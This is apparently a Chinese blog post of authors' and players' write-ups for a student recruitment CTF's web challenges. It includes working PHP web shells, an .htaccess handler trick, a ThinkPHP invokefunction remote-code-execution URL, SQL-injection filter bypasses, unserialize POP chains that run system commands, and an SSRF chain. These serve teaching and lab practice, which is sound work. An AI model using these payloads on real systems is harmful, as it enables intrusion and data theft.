站点图标 问谛居

SWPU NSS 2022 秋季招新赛 Web 出题人笔记 

Funny_web

出题人:Gu_xi #博客维护中

出给校内新生的签到题

提示实验室名字 则为NSS 密码就是招新群群主QQ2122693401

进去后源码

<?php
error_reporting(0);
header("Content-Type: text/html;charset=utf-8");
highlight_file(__FILE__);
include('flag.php');
if (isset($_GET['num'])) {
   $num = $_GET['num'];
   if ($num != '12345') {
       if (intval($num) == '12345') {
           echo $FLAG;
      }
  } else {
       echo "这为何相等又不相等";
  }
}
?num=12345a

奇妙的MD5

出题人:wqh

考点 :

第一步:进入题目,观察输入框提示联想到输入ffifdyop

进入第二个界面:

第二步:F12看源码

很简单的弱比较绕过

payload:?x[]=1&y[]=2

进入第三个界面:

同样方式进行绕过不过是用POST传参

payload:wqh[]=1&dsy[]=2

where_am_i

出题人:wqh

考点:签到题,锻炼信息检索能力

第一步:进入环境,发现一张图片,一个输入框,一句提示

联想到是电话号码,同时进行检索

搜图发现:

有一串电话号码,尝试进行输入。

删去符号再次输入得到flag

ez_ez_php

出题人:dfb

非预期已经拷打过出题人了,详细情况见下面的 revenge

webdog1__start

出题人:windlylike

图床炸了稍晚修(WDLJT 累了)

知识点:html基础,md5绕过,命令执行,正则匹配绕过

写在前面:

这是我第一次出题,虽然是借鉴了一下别人的源码改的,但是还是一次比较有意义的体验,这是团队新生赛题目,目前比赛已经结束,不然你们也看不到我的wp= =,以后应该能通过链接到nss平台搜索到吧,希望这一次出题能让你有所收获,那么我们正式开始回顾本题:

首先是:F12+md5变量绕过:

首先是觉悟之考验,我知道你们最喜欢f12了,当然f12在后面也会经常用到,所以这次f12直接看到源码:

if (isset($GET['web'])) { $first=$GET['web']; if ($first==md5($first))

这里只复制了一截,欸嘿当然这一截你也知道该干嘛了,其实这个考点出自:

[WUSTCTF2020]朴实无华

当然能直接嫖自己以前说过的话肯定就嫖了:

弱比较情况下(即你看到的"=="):

一般这种情况下的md5绕过是传入0e开头的md5值或者数组,因为在弱比较时,会把非同类型类型转换为同类型进行比较,在字符串类型下弱比较中会截取一个字符串前面的数字,直到遇到字符截止,对于0e+数字的值只会截取e之前的0,当然你用什么123a=123b也是可以绕过

所以等号两边同传0e开头时,在弱比较时候就变成了0=0

数组绕过原理是因为两边都是数组,在转换时候为false,false=false所以绕过,当然这里强比较也可以用数组绕过,大家可以思考一下0e开头和123a这种方式在什么时候能绕过强比较或者根本不能绕过。

话说回来,这里即便是令传入的md5值等于$md5后还需要等于其自身进行md5的值,这里就是gank数组绕过和123a的。

所以我们选取0e或者加密后仍为0e开头的数就行例如:0e215962017、以及这些纯字符串转化后为0e+数字的数:QNKCDZO、s878926199a

payload=?web=0e215962017

下一关,其实是嫖了队里师傅博客主页代码,minus就是他的id,但是他的css我没加上去,欸嘿= =,这关其实很简单,大伙喜欢f12就f12翻翻

在一个相对隐秘的角落:

bot一般就是robots.txt,在以后你们做题时候会偶尔遇到泄露robots.txt从而得到提示的情况

这里alt 然后点击查看然后点击修复文字编码就可以解决乱码问题了:

欸,还是没有flag,flag在哪呢,一般这个时候大伙是不是就回去看了,但是我是那种骗人的人吗。

一般有三种方法,第一种,有的能看到,在工具中,点击网络(此处是火狐):

第二个:curl -v + 地址

第三个抓包:欸嘿,抓包肯定看到的,你们抓吧我懒了。

终于到了最后一步:

<?phperror_reporting(0);highlight_file(__FILE__);if (isset($_GET['get'])){  $get=$_GET['get'];  if(!strstr($get," ")){    $get = str_ireplace("flag", " ", $get);        if (strlen($get)>18){      die("This is too long.");      }            else{        eval($get);     }   }else {    die("nonono");   }}?>

这里进行一手源码分析:$get=$_GET['get'];以get方式传入get参数

f(!strstr($get," ")){    $get = str_ireplace("flag", " ", $get);

传入参数不能存在空格,如果有flag,把flag变成空格

if (strlen($get)>18)

字符串要小于等于18

 eval($get);

满足一切后执行get参数

问题在于:首先你要会构造命令,如果是看过命令执行一课的小伙伴可能更熟悉一点,没看过自己也能去学其实,其次你要知道怎么绕过空格和flag字符,

绕过空格的方式很多,这里讲一下经常用到的两个<重定向符,和间隔符$IFS:

因为IFS为系统变量,默认值为空格,又因为变量的优先级要比命令高,所以可以使用命令+$IFS+参数的方式绕过空格过滤

但是我们并不能直接使用命令+$IFS+参数的方法进行绕过,比如cat$IFSflag.txt,这样是不可以的,因为linux系统或将$IFSflag看做一个整体,从而不能正常的被解析为空格。所以需要在$IFS后面进行截断,以保证$IFS被成功解析有几种方式:

\1. 利用绝对路径前面的"/"分隔 Cat$IFS/flag.php \2. 利用通配符“?”分隔 ???在linux里面可以进行代替字母

*在linux里面可以进行模糊匹配 Cat$IFS?lag.php

3.利用“${}”分隔Cat${IFS}flag.php

4.可以创建自定义变量 a=参数;命令$IFS$a Cat$IFS$aflag.php 5.未过滤"0~9"、"@"、"*"命令$IFS$[上述的任意一个数字/字符]参数

通过文件重定向来绕过空格的原理就是文件重定向符号执行优先级大于命令

格式:cat<fileName cat<>flag.txt

对于文件重定向操作符绕过空格过滤,只能用于文件查看的相关命令,比如cat,head,tail,more等。

其他绕过方式:制表符"%09"、“%0a” 制表符\t 如果你还能在群里找到文件,那你可以去翻来看看

至于绕过flag,这里也很简单,我看到基本都是用刚才讲到的*进行模糊匹配

而且因为长度原因,你最好使用一些比较短的绕过方式,比如cat就可以换成nl这种

最终payload:?get=system("nl%09/"); or ?get=system("nl\t/");

当然其他能绕过方式也行,这里只是一个参考。

希望我们下一题再见= =

Ez_upload

出题人:wqh

知识点考察

打开题目很正常的上传点,并没有提供查看源码功能,意味着我们只能手动测试过滤

先上传一个最正常的一句话:

<?php eval@($_POST['cmd']); ?>

对文件名过滤了

先试试是否是白名单

这个时候就要想到htaccess文件解析了

所以将文件名改为:text0.jpg

报错发生改变:

应该是木马类型有限制,多次尝试木马之后有如下木马:

GIF89a<script language ="php"> eval($_POST['c']); </script>

然后只要配合.htaccess将它解析就可以了

上传.htaccess文件,内容如下:

<FilesMatch "text0">

SetHandler application/x-httpd-php

</FilesMatch>

会自动匹配同一目录下名称带有text0的文件

然后访问图片:

说明木马被成功解析,此时可以在hackbar传参之间看内容,也可以蚁剑连接

第一种方法使用hackbar的payload:c=phpinfo();

ctrl+f查找环境变量

第二种方法,蚁剑连接

右键开启虚拟终端,输入env

numgame

出题人:ouyunfeng

考查call_user_func

打开题目 按f12无响应,进入开发者模式会关闭网页。但是可以通过抓包查看前端

进入1.js发现base64 解码得

NsScTf.php

访问该文件

令p=nss::ctf调用nss中的nss函数 由于正则匹配模式是m,所以可以大小写绕过 传参

?p=Nss::Ctf

再联系到NsScTf.php界面得提示,猜测需要post传参

p=Nss2::Ctf

找到flag

ez_ez_php(revenge)

出题人:dfb

考点php伪协议

<?php
error_reporting(0);
if (isset($_GET['file'])) {
   if ( substr($_GET["file"], 0, 3) === "php" ) {
       echo "Nice!!!";
       include($_GET["file"]);
  }

   else {
       echo "Hacker!!";
  }
}else {
   highlight_file(__FILE__);
}
//flag.php

访问flag.php

发现是错误的flag,但都得到提示用php伪协议并且给出了flag就在flag这个文件中

再返回去看代码substr($_GET["file"], 0, 3) === "php"这个就是要让file的前三个字符为php,再根据刚刚得到的提示,就可以写出payload

file=php://filter/resource=/flag

ez_rce

出题人:Gu_xi #博客维护中

考点:

访问robots.txt

User-agent: *
Disallow:
- /NSS/index.php/

访问/NSS/index.php

百度搜索该版本 可发现命令执行

查看根目录下

/nss/ctf/flag/flag

最终payload

/NSS/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat%20/nss/ctf/flag/flag

ez_sql

出题人:Gu_xi #博客维护中

考点:SQL注入

相对安全即POST传参

简单fuzz 发现过滤了 or 空格 union

爆表名

nss=0'ununionion/**/select/**/1,2,group_concat(table_name)/**/from/**/infoorrmation_schema.tables/**/where/**/table_schema=database()%23

爆列名

nss=0'ununionion/**/select/**/1,2,group_concat(column_name)/**/from/**/infoorrmation_schema.columns/**/where/**/table_schema=database()%23

这里藏了一下Flag 当然可以用group_concat都爆出来

nss=0'ununionion/**/select/**/1,2,group_concat(Secr3t,flll444g)/**/from/**/NSS_tb%23

ez_1zpop

出题人:dxgllt

本题考察反序列化 类fin中 的function fmm() 是一个明显的执行命令的危险函数作为链尾 类lt 中tostring 可以触发指定类中的fmm()方法,作为倒数第二步,绕过wake_up方法 执行_destruct()将类作为字符串输出触发to_string方法 链子构造完成

 <?php
error_reporting(0);
class dxg
{
  function fmm()
  {
     return "nonono";
  }
}

class lt
{
  public $impo='hi';
  public $md51='weclome';
  public $md52='to NSS';
  function __construct()
  {
     $this->impo = new dxg;
  }
  function __wakeup()
  {
     $this->impo = new dxg;
     return $this->impo->fmm();// 绕过wakeup
  }

  function __toString()
  {
     if (isset($this->impo) && md5($this->md51) == md5($this->md52) && $this->md51 != $this->md52)
        return $this->impo->fmm();//触发fin类中的fmm() 2
  }
  function __destruct()
  {
     echo $this;  //触发tostring 3
  }
}

class fin
{
  public $a;
  public $url = 'https://www.ctfer.vip';
  public $title;
  function fmm()
  {
     $b = $this->a;
     $b($this->title);
  }//链尾 执行危险函数 1
}

if (isset($_GET['NSS'])) {
  $Data = unserialize($_GET['NSS']);
} else {
  highlight_file(__file__);
}

1z_unserialize

出题人:dxgllt

<?php

class lyh{
   public $url = 'NSSCTF.com';
   public $lt;
   public $lly;
   
    function  __destruct()
    {
       $a = $this->lt;

       $a($this->lly);
    }
   
   
}
unserialize($_POST['nss']);
highlight_file(__FILE__);


?>

本体的反序列化十分简单 直接构造链子 执行destruct()方法 执行危险函数

<?php

class lyh{
   public $url = 'NSSCTF.com';
   public $lt;
   public $lly;
   
    function  __destruct()
    {
       $a = $this->lt;

       $a($this->lly);
    }
   
   
}
unserialize($_POST['nss']);
highlight_file(__FILE__);


?>

关键 在$a($this->title)

明显的是a参数执行(this->title)

所以在这里可以构造命令执行,利用assert函数执行system系统命令

构造方法

<?php

class lyh{
    public $url = 'NSSCTF.com';
   public $lt;
   public $lly;

   
   
}
$a=new lyh();
$a->lt="assert";
$a->lly="system('cat /flag');";
echo(serialize($a));



?>

XFF

出题人:thenn

考点:xff是告诉服务器当前请求者的最终ip的http请求头字段

xff限制访问 X-Forwarded-For: localhost Referer: http://localhost/

通常可以直接通过修改http头中的X-Forwarded-For字段来仿造请求的最终ip referer就是告诉服务器当前访问者是从哪个url地址跳转到自己的,跟xff一样,referer也可直接修改

js_sign

出题人:thenn

考点:简单的js解读

打开网页源代码,发现main.js dGFwY29kZQ==解码为tapcode 然后将flag="33 43 43 13 44 21 54 34 45 21 24 33 14 21 31 11 22 12 54 44 11 35 13 34 14 15" 通过tapcode解码得到flag

ez_ez_unserialize

出题人:thenn

考点:php反序列化wakeup函数漏洞利用

<?php
class X
{
  public $x = __FILE__;
  function __construct($x)
  {
      $this->x = $x;
  }
  function __wakeup()
  {
      if ($this->x !== __FILE__) {
          $this->x = __FILE__;
      }
  }
  function __destruct()
  {
      highlight_file($this->x);
      //flag is in fllllllag.php
  }
}
if (isset($_REQUEST['x'])) {
  @unserialize($_REQUEST['x']);
} else {
  highlight_file(__FILE__);
}

正确长度X后面应该是1,即:

?x=O:1:"X":1:{s:1:"x";s:13:"fllllllag.php";}

但是我们这里需要利用wakeup函数漏洞,所以构造错误长度便可以让wakeup返回的不是当前页面而是我们想要的页面,即fllllllag.php

?x=O:1:"X":2:{s:1:"x";s:13:"fllllllag.php";}

最后三道题出题人考研去了..摆了首先下面是出题人的WP 后面我们选取了 3 个 22 级的 Writeup ..

funny_php

出题人:cha

出题人 Writeup

百度php特性

随机选手 Writeup

确实挺funny的

考点:==科学计数法绕过== ==双写绕过== ==md5弱比较==

构造payload:

GET:`?num=9e9&str=NNSSCTFSSCTF`    

POST:`md5_1=s878926199a&md5_2=s1885207154a`

Power!

出题人:cha

出题人 Writeup

考点:ssrf,反序列化 步骤:

1.f12发现提示?source,传参得到源码 2.源码里提示说flag在flag.php,读flag.php发现flag在65500端口,源码里有curl函数考虑使用curl去访问该端口 3.然后源码里发现接收了一个get传的path_info参数,该参数进行了一个反序列化,最后访问文件是使用了反序列化出来对象的loadfile方法,看源码知道是FileViewer类的方法,loadfile方法使用了curl方法,curl方法使用了curl函数,所以我们最后就是要调用到FileViewer的loadfile 4.阅读loadfile处代码,发现它传给curl的参数是由local和path拼接的,local在weakup处进行了限制,无法通过反序列化直接改变,于是就注意到BackDoor这个类,发现他的goodman方法可以修改类的属性,所以就有了通过反序列化backdoor对象去修改FileViewer的local属性,然后再去调用loadfile方法的想法,这里我们又发现从Backdoor类的destruct方法有一条到FileViewer的loadfile的调用链,即Backdoor::destruct-->FileViewer::call-->FileViewer::loadfile,backdoor的desturct方法还调用了goodman方法,这样我们就有了解题的思路,也就是从Backdoor::desturct进入,然后先调用goodman覆盖FileViewer的local值为http://127.0.0.1:65500/,然后通过调用链调用loadfile访问flag所在地址,然后我们只用构造好链等到Backdoor销毁时调用desturct就好了 5.但是到这里有一个大问题,如果照上面那样生成的链进行反序列化,会导致反序列化返回的是BackDoor这个对象,而backdoor这个对象没有loadfile方法,这就会导致后面尝试调用BackDoor::loadfile时报错,程序提前终止,等不到Backdoor::desturct执行就没了,所以我们需要提前触发destruct方法,对生成出来的序列化字符串做一点点的修改,让反序列化出错,这样BackDoor就会提前销毁,调用destruct方法,我在这里选择修改了下BackDoor的属性数量(关于反序列化提前销毁可以看这篇博客),最后就访问到127.0.0.1:65500就会返回flag

随机选手 Writeup

年轻人你渴望力量吗?查看源码,得知需要传参

好长一串代码审计

反序列化和POP链的基础知识参考前文 ez_1zpop

class暂且不看,可以直接得到以下信息,尝试传入image_path以读取flag.php

得到base64编码后的flag.php,解码试试

flag被放在了 127.0.0.1:65500 属于内网地址,外网无法访问

考点:==SSRF== ==POP链== ==反序列化== ==变量覆盖==

先base64解码,再反序列化 -> 序列化后base64编码一下

构造过程:

  1. FileViewer::curl() 可导致SSRF
    • 局部变量: $url = $path = http://127.0.0.1:65500/flag
  2. FileViewer::loadfile() 可执行 FileViewer::curl() ,顺便把黑名单搞了
    • 局部变量:$this->black_list="黑名单什么的管不着我"$this->local = http://127.0.0.1$this->path = /flag
  3. FileViewer::_call() 可执行 FileViewer::loadfile()
    • 局部变量:无
  4. Backdoor::__destruct() 可执行 FileViewer::__call()
    • 局部变量:$this->a = new FileViewer
  5. Backdoor::__destruct() 为入口,==但是不存在 loadfile() 方法,会报错==,故作第二入口
    • 局部变量:无
  6. FileViewer 可能作为入口,且不能绕过 __wakeup() 方法,==返回bool报错==
    • 局部变量:$this->local = new Backdoorblack_listpathloadfine() 方法中会被当作字符串处理,由于 Backdoor__toString() 方法,==会报错==
  7. Backdoor::goodman() 变量覆盖,直接对 local 进行修改
    • 局部变量:$this->b = "local"$this->superhacker = "http://127.0.0.1:65500"
  8. 调用反序列化后的 loadfile() 方法

故构造如下POP链:FileViewer -> Backdoor::__destruct() -> FileViewer::__call() -> FileViewer::loadfile() -> FileViewer::curl()

贴个exp:

<?php
class FileViewer
{
   public $black_list;
   public $local;
   public $path;
}
class Backdoor
{
   public $a;
   public $b;
   public $superhacker;
}

$m = new FileViewer;
$n = new Backdoor;
$n->a=$m;
$n->b="local";
$n->superhacker="127.0.0.1:65500/";
$m->black_list="黑名单什么的管不着我";
$m->local=$n;
$m->path="flag.php";

echo (base64_encode(serialize($m))); //不urlencode了,裸奔!
?>

得到base64,解码

得到flag

file_master

出题人:cha

出题人 Writeup

考点:文件上传条件竞争

步骤: 1.读文件处读源码,代码审计发现在上传文件处对文件类型进行了限制,只能为jpg格式,可以通过修改http请求绕过,然后对文件类型进行了检查,修改文件头绕过,然后在文件落地时发现它是先将文件移动到目的地再进行内容检查,有风险再删除,所以这里我们知道我们上传的地址可以考虑文件上传条件竞争,也就是在马上传上去后趁它还没被删除时访问,这里正常是要写脚本跑,但是这里在删除前有个sleep(5),传了马手动去访问都来得及 1.写马传马 2.在没删除前访问,写下另一个马或者直接拿flag,flag在根目录

随机选手 Writeup

哇好臭的题啊

有查看文件,进去直接查index.php,发现index.php加载了两遍,查看成功

翻阅源码,没高亮看着头疼,扒下来

考点:

==文件上传== ==图片马== ==一句话木马变种== ==短标签== ==PHPSESSID==

发现文件上传处做了几重检测,结合die的提示可以获得如下信息

上传一句话木马,此处使用图片马,在图片后面直接加上PHP语句

过滤后不能使用<?php标签,采用短标签,构造payload <?=eval($_POST['NSSCTF']);

找到对应路径,sessionid即为==PHPSESSID==,存在于==cookie==中

蚁剑连,可能会出现权限不足等问题,查看环境变量未找到flag

利用虚拟终端切到根目录,发现flag,打开,解出

退出移动版